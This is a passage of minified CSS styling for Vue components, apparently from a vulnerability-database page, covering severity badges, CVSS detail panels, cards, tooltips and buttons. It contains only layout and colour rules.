svg{height:1.125rem;width:1.125rem}.vue--badge--default[data-v-0f55f474]{background-color:#f4f4f6;border-color:#d3d3d9;color:#646374}.vue--badge--critical-severity[data-v-0f55f474]{background-color:#ad1a1a;border-color:#ad1a1a}.vue--badge--critical-severity.vue--badge--ghost[data-v-0f55f474]{color:#ad1a1a}.vue--badge--high-severity[data-v-0f55f474]{background-color:#cc4f19;border-color:#cc4f19}.vue--badge--high-severity.vue--badge--ghost[data-v-0f55f474]{color:#cc4f19}.vue--badge--medium-severity[data-v-0f55f474]{background-color:#d68100;border-color:#d68100}.vue--badge--medium-severity.vue--badge--ghost[data-v-0f55f474]{color:#d68100}.vue--badge--low-severity[data-v-0f55f474]{background-color:#86859d;border-color:#86859d}.vue--badge--low-severity.vue--badge--ghost[data-v-0f55f474]{color:#86859d}.vue--badge--no-severity[data-v-0f55f474]{background-color:#bfbfbf;border-color:#bfbfbf}.vue--badge--no-severity.vue--badge--ghost[data-v-0f55f474]{color:#bfbfbf}.vue--badge--action[data-v-0f55f474]{background-color:#4b45a1;border-color:#4b45a1}.vue--badge--action.vue--badge--ghost[data-v-0f55f474]{color:#4b45a1}.vue--badge--action-create[data-v-0f55f474]{background-color:#157575;border-color:#157575}.vue--badge--action-create.vue--badge--ghost[data-v-0f55f474]{color:#157575}.vue--badge--complementary-blue[data-v-0f55f474]{background-color:#4b77aa;border-color:#4b77aa}.vue--badge--complementary-blue.vue--badge--ghost[data-v-0f55f474]{color:#4b77aa}.vue--badge--complementary-burgundy[data-v-0f55f474]{background-color:#903;border-color:#903}.vue--badge--complementary-burgundy.vue--badge--ghost[data-v-0f55f474]{color:#903}.vue--badge--social-twitter[data-v-0f55f474]{background-color:#4ca1eb;border-color:#4ca1eb}.vue--badge--social-twitter.vue--badge--ghost[data-v-0f55f474]{color:#4ca1eb}.vue--badge--info[data-v-0f55f474]{background-color:#edecf6;border-color:#938fc7;color:#4b45a1}.vue--badge--info.vue--badge--ghost[data-v-0f55f474]{border-color:#4b45a1}.vue--badge--warning[data-v-0f55f474]{background-color:#fbf2e7;border-color:#e9af6d;color:#a55c09}.vue--badge--warning.vue--badge--ghost[data-v-0f55f474]{border-color:#a55c09}.vue--badge--success[data-v-0f55f474]{background-color:#e8f1f1;border-color:#a1c8c8;color:#136c6c}.vue--badge--success.vue--badge--ghost[data-v-0f55f474]{border-color:#136c6c}.vue--badge--danger[data-v-0f55f474],.vue--badge--error[data-v-0f55f474]{background-color:#f8e8e8;border-color:#e3a1a1;color:#b81414}.vue--badge--danger.vue--badge--ghost[data-v-0f55f474],.vue--badge--error.vue--badge--ghost[data-v-0f55f474]{border-color:#b81414}.vue--badge--inverted[data-v-0f55f474]{background-color:#fff;border-color:#fff;color:#727184}.vue--badge--inverted.vue--badge--ghost[data-v-0f55f474]{background-color:transparent;color:#fff}.vue--badge--selection[data-v-0f55f474]{background-color:#ffc905;border-color:#ebb800;color:#1c1c21}.vue--badge--selection.vue--badge--ghost[data-v-0f55f474]{border-color:#ffc905;color:#1c1c21}.vue--badge--with-icon[data-v-0f55f474]{padding-left:32px}.vue--badge--with-icon.vue--badge--extra-small[data-v-0f55f474]{padding-left:24px}.vue--badge--with-icon.vue--badge--extra-small .vue--badge__icon[data-v-0f55f474]{top:2px}.vue--badge--with-icon.vue--badge--extra-small .vue--badge__icon[data-v-0f55f474]  svg{height:.6875rem;width:.6875rem}.vue--badge--with-icon.vue--badge--small[data-v-0f55f474]{padding-left:28px}.vue--badge--with-icon.vue--badge--small .vue--badge__icon[data-v-0f55f474]{top:2px}.vue--badge--with-icon.vue--badge--small .vue--badge__icon[data-v-0f55f474]  svg{height:.875rem;width:.875rem}.vue--badge--with-icon.vue--badge--large[data-v-0f55f474]{padding-left:40px}.vue--badge--with-icon.vue--badge--large .vue--badge__icon[data-v-0f55f474]{top:7px}.vue--badge--with-icon.vue--badge--large .vue--badge__icon[data-v-0f55f474]  svg{height:1.5rem;width:1.5rem}.vue--badge--with-tooltip[data-v-0f55f474]{padding-right:36px}.vue--badge--with-tooltip .vue--badge__tooltip[data-v-0f55f474]{position:absolute;right:12px;top:6px}.vue--badge--with-tooltip.vue--badge--extra-small[data-v-0f55f474]{padding-right:30px}.vue--badge--with-tooltip.vue--badge--extra-small .vue--badge__tooltip[data-v-0f55f474]{top:2px;right:8px}.vue--badge--with-tooltip.vue--badge--small[data-v-0f55f474]{padding-right:30px}.vue--badge--with-tooltip.vue--badge--small .vue--badge__tooltip[data-v-0f55f474]{top:2px;right:8px}.vue--badge--with-tooltip.vue--badge--large[data-v-0f55f474]{padding-right:42px}.vue--badge--with-tooltip.vue--badge--large .vue--badge__tooltip[data-v-0f55f474]{top:10px;right:16px}.vue--badge--pill[data-v-0f55f474]{border-radius:50px}.vue--badge--uppercase[data-v-0f55f474]{text-transform:uppercase}.vue--badge--ghost[data-v-0f55f474]{background-color:transparent}.vue--badge--extra-small[data-v-0f55f474]{font-size:.5625rem;padding:4px}.vue--badge--extra-small .vue--badge__icon[data-v-0f55f474]{width:1.25rem}.vue--badge--extra-small--w-icon[data-v-0f55f474]{padding-left:1.375rem}.vue--badge--small[data-v-0f55f474]{font-size:.6875rem;padding:4px 8px}.vue--badge--small .vue--badge__icon[data-v-0f55f474]{width:1.25rem}.vue--badge--small--w-icon[data-v-0f55f474]{padding-left:1.375rem}.vue--badge--large[data-v-0f55f474]{font-size:.9375rem;padding:11px 16px}\n.cvss-details__heading[data-v-03a71328]{margin-bottom:16px}.cvss-details .no-cvss-alert[data-v-03a71328]{margin-bottom:24px;margin-top:8px}.cvss-details .no-cvss-alert.information-outline-icon[data-v-03a71328]{color:#938fc7}.cvss-details .details-extra-padding[data-v-03a71328]{padding-top:72px}@media screen and (max-width:720px){.details-extra-padding[data-v-03a71328]{margin:32px 0;padding-top:1px}}\n.details-box__body[data-v-50201d1d]{padding:24px;font-size:.9375rem}.details-box__body ul[data-v-50201d1d]{padding-left:0;list-style:none}.details-box__body .data-list-items.collapse[data-v-50201d1d]{border-top:1px solid #e4e3e8;margin-bottom:-space(s);margin-top:-space(s)}.details-box__body .data-list-items.collapse .see-all[data-v-50201d1d]{color:#461d9e;line-height:20px;padding:16px 0}\n.vue--card[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#faf9fa;display:flex;flex-direction:column;justify-content:flex-start}.vue--card:not(.vue--card--legacy)+.vue--card[data-v-d6f7b9fc]{margin-top:24px}.vue--card:not(.vue--card--legacy) a .vue--card[data-v-d6f7b9fc]:focus,.vue--card:not(.vue--card--legacy) a .vue--card[data-v-d6f7b9fc]:hover{cursor:pointer}.vue--card:not(.vue--card--legacy) .vue--card__anchor[data-v-d6f7b9fc]{color:#555463;display:block;padding:16px 24px 12px;width:100%}.vue--card:not(.vue--card--legacy) .vue--card__anchor[data-v-d6f7b9fc]:focus,.vue--card:not(.vue--card--legacy) .vue--card__anchor[data-v-d6f7b9fc]:hover{text-decoration:none}.vue--card:not(.vue--card--legacy) .vue--card__anchor:focus .vue--card__anchor-icon[data-v-d6f7b9fc],.vue--card:not(.vue--card--legacy) .vue--card__anchor:hover .vue--card__anchor-icon[data-v-d6f7b9fc]{opacity:1}.vue--card:not(.vue--card--legacy) .vue--card__anchor-icon[data-v-d6f7b9fc]{color:#d3d3d9;opacity:0;transition:opacity .2s ease-in-out}.vue--card:not(.vue--card--legacy) .vue--card__anchor-icon[data-v-d6f7b9fc]  svg{height:20px;width:20px}.vue--card:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]{align-items:center;background-color:#fff;border-radius:4px 4px 0 0;display:flex;justify-content:space-between;position:relative}.vue--card:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{position:relative;top:-1px;margin-right:4px}.vue--card:not(.vue--card--legacy) .vue--card__header h2[data-v-d6f7b9fc]{font-size:1.125rem;font-weight:500}.vue--card:not(.vue--card--legacy) .vue--card__note[data-v-d6f7b9fc]{font-size:.8125rem}.vue--card:not(.vue--card--legacy) .vue--card__intro[data-v-d6f7b9fc]{background-color:#fff;padding:0 24px 12px}.vue--card:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{border-top:1px solid #d3d3d9;height:100%;padding:24px;position:relative}.vue--card:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]:first-child{border-top:none}.vue--card:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]>:first-child{margin-top:0}.vue--card:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]>:last-child{margin-bottom:0}.vue--card:not(.vue--card--legacy) .vue--card__body+.vue--card__alert[data-v-d6f7b9fc]{border-top:none}.vue--card:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc]{font-style:italic;align-items:center;background-color:#fff;border-radius:0 0 4px 4px;border-top:1px solid #d3d3d9;color:#727184;font-size:.8125rem;margin-top:auto;padding:16px 24px}.vue--card:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{display:flex;justify-content:flex-end;align-items:center;background-color:#fff;border-radius:0 0 4px 4px;border-top:1px solid #d3d3d9;margin-top:auto;padding:12px 24px}.vue--card:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{margin-top:0}.vue--card--no-padding:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{padding:0}.vue--card--condensed:not(.vue--card--legacy) .vue--card__anchor[data-v-d6f7b9fc]{padding:12px 12px 10px}.vue--card--condensed:not(.vue--card--legacy) .vue--card__intro[data-v-d6f7b9fc]{padding:0 12px 8px}.vue--card--condensed:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc],.vue--card--condensed:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--condensed:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{padding:12px}.vue--card--warning[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#fbf2e7}.vue--card--warning:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{color:#da7a0b}.vue--card--warning:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#fbf2e7;border-top-color:#e9af6d}.vue--card--warning:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--warning:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{border-color:#e9af6d}.vue--card--warning:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{border-color:#d3d3d9}.vue--card--danger[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#f8e8e8}.vue--card--danger:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{color:#b81414}.vue--card--danger:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#f8e8e8;border-top-color:#e3a1a1}.vue--card--danger:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--danger:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{border-color:#e3a1a1}.vue--card--danger:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{border-color:#d3d3d9}.vue--card--cta[data-v-d6f7b9fc]:not(.vue--card--legacy),.vue--card--success[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#e8f1f1}.vue--card--cta:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg,.vue--card--success:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{color:#157575}.vue--card--cta:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc],.vue--card--success:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#e8f1f1;border-top-color:#a1c8c8}.vue--card--cta:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--cta:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc],.vue--card--success:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--success:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{border-color:#a1c8c8}.vue--card--cta:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc],.vue--card--success:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{border-color:#d3d3d9}.vue--card--info[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#edecf6}.vue--card--info:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{color:#4b45a1}.vue--card--info:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#edecf6;border-top-color:#938fc7}.vue--card--info:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--info:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{border-color:#938fc7}.vue--card--info:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{border-color:#d3d3d9}.vue--card--legacy[data-v-d6f7b9fc],.vue--card--white[data-v-d6f7b9fc]:not(.vue--card--legacy),.vue--card--white:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#fff}.vue--card--legacy[data-v-d6f7b9fc]{border-radius:2px;padding:12px}.vue--card--legacy[data-v-d6f7b9fc]:not(.vue--card--danger){box-shadow:inset 0 0 0 1px #e5e8ed}.vue--card--legacy.vue--card--success[data-v-d6f7b9fc]{background-color:rgba(125,204,204,.45);border:1px solid rgba(33,92,92,.31)}.vue--card--legacy.vue--card--info[data-v-d6f7b9fc]{background-color:#edecf6;border:1px solid #938fc6}.vue--card--legacy+.vue--card[data-v-d6f7b9fc]{margin-top:16px}.vue--card--legacy .vue--card__anchor[data-v-d6f7b9fc]{color:#555463;position:relative}.vue--card--legacy .vue--card__anchor[data-v-d6f7b9fc]:focus,.vue--card--legacy .vue--card__anchor[data-v-d6f7b9fc]:hover{text-decoration:none}.vue--card--legacy .vue--card__anchor:focus[href][data-v-d6f7b9fc]:after,.vue--card--legacy .vue--card__anchor:hover[href][data-v-d6f7b9fc]:after{opacity:1}.vue--card--legacy .vue--card__anchor[href][data-v-d6f7b9fc]:after{background-color:#d3d3d9;content:\"#\";display:block;height:24px;left:-36px;line-height:24px;opacity:0;position:absolute;top:0;transition:opacity .2s ease-in-out;width:24px;text-align:center}.vue--card--legacy .vue--card__anchor-icon[data-v-d6f7b9fc]{display:none}.vue--card--legacy .vue--card__header[data-v-d6f7b9fc]{border-bottom:1px solid #d3d3d9;margin-bottom:16px;display:flex;justify-content:space-between}.vue--card--legacy .vue--card__header h2[data-v-d6f7b9fc]{font-size:1.125rem;font-weight:500;margin:0 0 8px -12px;padding-left:12px}.vue--card--legacy .vue--card__header--note[data-v-d6f7b9fc]{font-size:.8125rem;margin:0}.vue--card--legacy .vue--card__intro[data-v-d6f7b9fc]{margin-bottom:24px}.vue--card--legacy .vue--card__body[data-v-d6f7b9fc]>:first-child{margin-top:0}.vue--card--legacy .vue--card__body[data-v-d6f7b9fc]>:last-child{margin-bottom:0}.vue--card--legacy .vue--card__alert[data-v-d6f7b9fc]{margin-bottom:12px}.vue--card--legacy .vue--card__footer[data-v-d6f7b9fc]{font-style:italic;color:#727184;border-top:1px solid #d3d3d9;font-size:.8125rem;margin-top:16px;padding-top:12px}\n.vue--block[data-v-3645d675]{background-color:#fff;box-shadow:inset 0 0 0 1px #d3d3d9;border-radius:2px;padding:1px}.vue--block--instruction[data-v-3645d675]{background-color:#f6fafd;box-shadow:inset 0 0 0 1px #cce0f5,0 0 0 2px transparent}.vue--block--danger[data-v-3645d675]{background-color:#f8e8e8;box-shadow:inset 0 0 0 1px #e3a1a1,0 0 0 2px transparent}.vue--block--success[data-v-3645d675]{background-color:#e8f1f1;box-shadow:inset 0 0 0 1px #a1c8c8,0 0 0 2px transparent}.vue--block--warning[data-v-3645d675]{background-color:#fbf2e7;box-shadow:inset 0 0 0 1px #e9af6d,0 0 0 2px transparent}.vue--block--info[data-v-3645d675]{background-color:#edecf6;box-shadow:inset 0 0 0 1px #938fc7,0 0 0 2px transparent}.vue--block--severity-critical[data-v-3645d675],.vue--block--severity-high[data-v-3645d675]{box-shadow:inset 0 0 0 1px #cc4f19,0 0 0 2px transparent}.vue--block--severity-medium[data-v-3645d675]{box-shadow:inset 0 0 0 1px #d68100,0 0 0 2px transparent}.vue--block--severity-low[data-v-3645d675]{box-shadow:inset 0 0 0 1px #86859d,0 0 0 2px transparent}\n.twitter-icon[data-v-0807406b]{color:#555463}.cvss-details-item[data-v-0807406b]{display:flex;justify-content:space-between;padding:16px 0}.cvss-details-item+.cvss-details-item[data-v-0807406b]{border-top:1px solid #e4e3e8}.cvss-details-item__tooltip[data-v-0807406b]{color:#938fc7;margin-left:8px}\n.vue--tooltip[data-v-06ded3b9]{display:inline-block;position:relative}.vue--tooltip__label[data-v-06ded3b9]{color:inherit;display:block}.vue--tooltip__label[data-v-06ded3b9]  svg{height:1rem;width:1rem}.vue--tooltip__arrow[data-v-06ded3b9],.vue--tooltip__arrow[data-v-06ded3b9]:before{position:absolute;z-index:-1}.vue--tooltip__arrow[data-v-06ded3b9]:before{content:\"\";border:6px solid transparent;transform:translateX(-50%)}.vue--tooltip__description[data-v-06ded3b9]{background-color:#211f47;border-radius:4px;color:#fff;left:50%;padding:12px;text-transform:none;transform:translateX(-50%);word-break:normal;white-space:normal;width:350px;z-index:10}.vue--tooltip__description[data-popper-placement^=top]>.vue--tooltip__arrow[data-v-06ded3b9]{bottom:0}.vue--tooltip__description[data-popper-placement^=top]>.vue--tooltip__arrow[data-v-06ded3b9]:before{border-top-color:#211f47}.vue--tooltip__description[data-popper-placement^=bottom]>.vue--tooltip__arrow[data-v-06ded3b9]{top:-12px}.vue--tooltip__description[data-popper-placement^=bottom]>.vue--tooltip__arrow[data-v-06ded3b9]:before{border-bottom-color:#211f47}.vue--tooltip--small .vue--tooltip__label[data-v-06ded3b9]  svg{height:.875rem;width:.875rem}.vue--tooltip--large .vue--tooltip__label[data-v-06ded3b9]  svg{height:1.125rem;width:1.125rem}.vue--tooltip--auto .vue--tooltip__description[data-v-06ded3b9]{width:auto;white-space:nowrap}.vue--tooltip--quiet[data-v-06ded3b9]{color:#727184}.vue--tooltip--help .vue--tooltip__label[data-v-06ded3b9]:hover{cursor:help}\n.vue--button[data-v-94138f12]{border:2px solid transparent;border-radius:4px;cursor:pointer;display:inline-block;height:2.375rem;line-height:2;padding:0 17px;transition:background-color .2s ease,color .2s ease,border-color .2s ease,box-shadow .2s ease;transform:scale(1.001);white-space:nowrap}.vue--button+.vue--button[data-v-94138f12]{margin-left:12px}.vue--button.hover[data-v-94138f12],.vue--button[data-v-94138f12]:hover{text-decoration:none}.vue--button .material-design-icon[data-v-94138f12]{position:relative;left:-6px;right:0;top:-2px}.vue--button .vue--badge[data-v-94138f12],.vue--button .vue--label[data-v-94138f12]{position:relative;right:-4px;margin-top:-1px}.vue--button[disabled][data-v-94138f12]{cursor:no-drop;opacity:.6}.vue--button[disabled][data-v-94138f12]:not(.vue--button--ghost){background-color:#d3d3d9;color:#393842}.vue--button[disabled].vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#d3d3d9;color:#727184}.vue--button--ghost[data-v-94138f12]{border-width:1px;padding:0 18px}.vue--button--ghost.focus[data-v-94138f12],.vue--button--ghost[data-v-94138f12]:focus{padding:0 17px}.vue--button--ghost.vue--button--extra-large.focus[data-v-94138f12],.vue--button--ghost.vue--button--extra-large[data-v-94138f12]:focus,.vue--button--ghost.vue--button--large.focus[data-v-94138f12],.vue--button--ghost.vue--button--large[data-v-94138f12]:focus{padding:0 23px}.vue--button--ghost.vue--button--small.focus[data-v-94138f12],.vue--button--ghost.vue--button--small[data-v-94138f12]:focus{padding:0 11px}.vue--button--ghost.vue--button--basic.focus[data-v-94138f12],.vue--button--ghost.vue--button--basic[data-v-94138f12]:focus{box-shadow:none;padding:0 18px}.vue--button--ghost.vue--button--basic.vue--button--extra-large.focus[data-v-94138f12],.vue--button--ghost.vue--button--basic.vue--button--extra-large[data-v-94138f12]:focus,.vue--button--ghost.vue--button--basic.vue--button--large.focus[data-v-94138f12],.vue--button--ghost.vue--button--basic.vue--button--large[data-v-94138f12]:focus{padding:0 24px}.vue--button--ghost.vue--button--basic.vue--button--small.focus[data-v-94138f12],.vue--button--ghost.vue--button--basic.vue--button--small[data-v-94138f12]:focus{padding:0 12px}.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost){background-color:#157575;color:#fff}.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost)  svg{fill:#fff}.vue--button--cta:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--cta:not([disabled]):not(.vue--button--ghost).hover[data-v-94138f12],.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus,.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):hover{border-color:#188b8b;background-color:#188b8b}.vue--button--cta:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus{box-shadow:inset 0 0 0 1px #fff;outline:none}.vue--button--cta:not([disabled]).vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#157575;color:#157575}.vue--button--cta:not([disabled]).vue--button--ghost svg[data-v-94138f12]{fill:#157575}.vue--button--cta:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost.hover[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost[data-v-94138f12]:focus,.vue--button--cta:not([disabled]).vue--button--ghost[data-v-94138f12]:hover{background-color:#188b8b;border-color:#188b8b;color:#fff}.vue--button--cta:not([disabled]).vue--button--ghost.focus svg[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost.hover svg[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost:focus svg[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost:hover svg[data-v-94138f12]{fill:#fff}.vue--button--cta:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost[data-v-94138f12]:focus{border-width:2px;box-shadow:inset 0 0 0 1px #fff;outline:none}.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost){background-color:#b81414;color:#fff}.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost)  svg{fill:#fff}.vue--button--danger:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--danger:not([disabled]):not(.vue--button--ghost).hover[data-v-94138f12],.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus,.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):hover{border-color:#cf1717;background-color:#cf1717}.vue--button--danger:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus{box-shadow:inset 0 0 0 1px #fff;outline:none}.vue--button--danger:not([disabled]).vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#b81414;color:#b81414}.vue--button--danger:not([disabled]).vue--button--ghost svg[data-v-94138f12]{fill:#b81414}.vue--button--danger:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost.hover[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost[data-v-94138f12]:focus,.vue--button--danger:not([disabled]).vue--button--ghost[data-v-94138f12]:hover{background-color:#cf1717;border-color:#cf1717;color:#fff}.vue--button--danger:not([disabled]).vue--button--ghost.focus svg[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost.hover svg[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost:focus svg[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost:hover svg[data-v-94138f12]{fill:#fff}.vue--button--danger:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost[data-v-94138f12]:focus{border-width:2px;box-shadow:inset 0 0 0 1px #fff;outline:none}.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost){background-color:#fff;color:#393842}.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost)  svg{fill:#393842}.vue--button--inverted:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--inverted:not([disabled]):not(.vue--button--ghost).hover[data-v-94138f12],.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus,.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):hover{border-color:#fff;background-color:#fff}.vue--button--inverted:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus{box-shadow:inset 0 0 0 1px #393842;outline:none}.vue--button--inverted:not([disabled]).vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#fff;color:#fff}.vue--button--inverted:not([disabled]).vue--button--ghost svg[data-v-94138f12]{fill:#fff}.vue--button--inverted:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost[data-v-94138f12]:focus,.vue--button--inverted:not([disabled]).vue--button--ghost[data-v-94138f12]:hover{background-color:#fff;border-color:#fff;color:#393842}.vue--button--inverted:not([disabled]).vue--button--ghost.focus svg[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.hover svg[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost:focus svg[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost:hover svg[data-v-94138f12]{fill:#393842}.vue--button--inverted:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost[data-v-94138f12]:focus{border-width:2px;box-shadow:inset 0 0 0 1px #393842;outline:none}.vue--button--inverted:not([disabled]).hover[data-v-94138f12],.vue--button--inverted[data-v-94138f12]:not([disabled]):hover{border-width:2px;box-shadow:inset 0 0 0 1px #393842;outline:none;padding:0 17px}.vue--button--inverted:not([disabled]).vue--button--extra-large.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--extra-large[data-v-94138f12]:hover,.vue--button--inverted:not([disabled]).vue--button--large.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--large[data-v-94138f12]:hover{padding:0 24px}.vue--button--inverted:not([disabled]).vue--button--small.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--small[data-v-94138f12]:hover{padding:0 12px}.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--extra-large.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--extra-large[data-v-94138f12]:hover,.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--large.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--large[data-v-94138f12]:hover{padding:0 23px}.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--small.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--small[data-v-94138f12]:hover{padding:0 11px}.vue--button--basic:not([disabled]).vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#d3d3d9;color:#393842}.vue--button--basic:not([disabled]).vue--button--ghost svg[data-v-94138f12]{fill:#393842}.vue--button--basic:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--basic:not([disabled]).vue--button--ghost.hover[data-v-94138f12],.vue--button--basic:not([disabled]).vue--button--ghost[data-v-94138f12]:focus,.vue--button--basic:not([disabled]).vue--button--ghost[data-v-94138f12]:hover{background-color:transparent!important;color:#393842;border-color:#4b45a1}.vue--button--animated-pulse-decorative[data-v-94138f12],.vue--button--animated-shimmer-decorative[data-v-94138f12],.vue--button--decorative[data-v-94138f12]{padding:0 19px}.vue--button--animated-pulse-decorative.vue--button--small[data-v-94138f12],.vue--button--animated-shimmer-decorative.vue--button--small[data-v-94138f12],.vue--button--decorative.vue--button--small[data-v-94138f12]{padding:0 14px}.vue--button--animated-pulse-decorative.vue--button--large[data-v-94138f12],.vue--button--animated-shimmer-decorative.vue--button--large[data-v-94138f12],.vue--button--decorative.vue--button--large[data-v-94138f12]{padding:0 26px}.vue--button--decorative[data-v-94138f12]{background:linear-gradient(90deg,#7530a6,#461d9f);border:2px;color:#fff;opacity:1;padding:0 19px}.vue--button--decorative[data-v-94138f12]:hover{color:#fff;opacity:.9}.vue--button--decorative-animated-pulse[data-v-94138f12]{animation:pulse-data-v-94138f12 2s infinite;background:linear-gradient(90deg,#7530a6,#461d9f);border:2px;color:#fff;padding:0 19px}.vue--button--decorative-animated-pulse[data-v-94138f12]:hover{color:#fff;opacity:.9}.vue--button--decorative-animated-shimmer[data-v-94138f12]{background:linear-gradient(90deg,#7530a6,#461d9f);border:2px;color:#fff;opacity:.8;opacity:1;overflow:hidden;position:relative;padding:0 19px}.vue--button--decorative-animated-shimmer[data-v-94138f12]:hover{color:#fff;opacity:1;opacity:.9}.vue--button--decorative-animated-shimmer[data-v-94138f12]:after{animation:shimmer-data-v-94138f12 6s ease-in-out .2s infinite;animation-fill-mode:forwards;content:\"\";position:absolute;top:0;left:-200%;width:200%;height:100%;opacity:0;background:hsla(0,0%,100%,.13);background:linear-gradient(90deg,hsla(0,0%,100%,.13) 0,hsla(0,0%,100%,.13) 77%,hsla(0,0%,100%,.7) 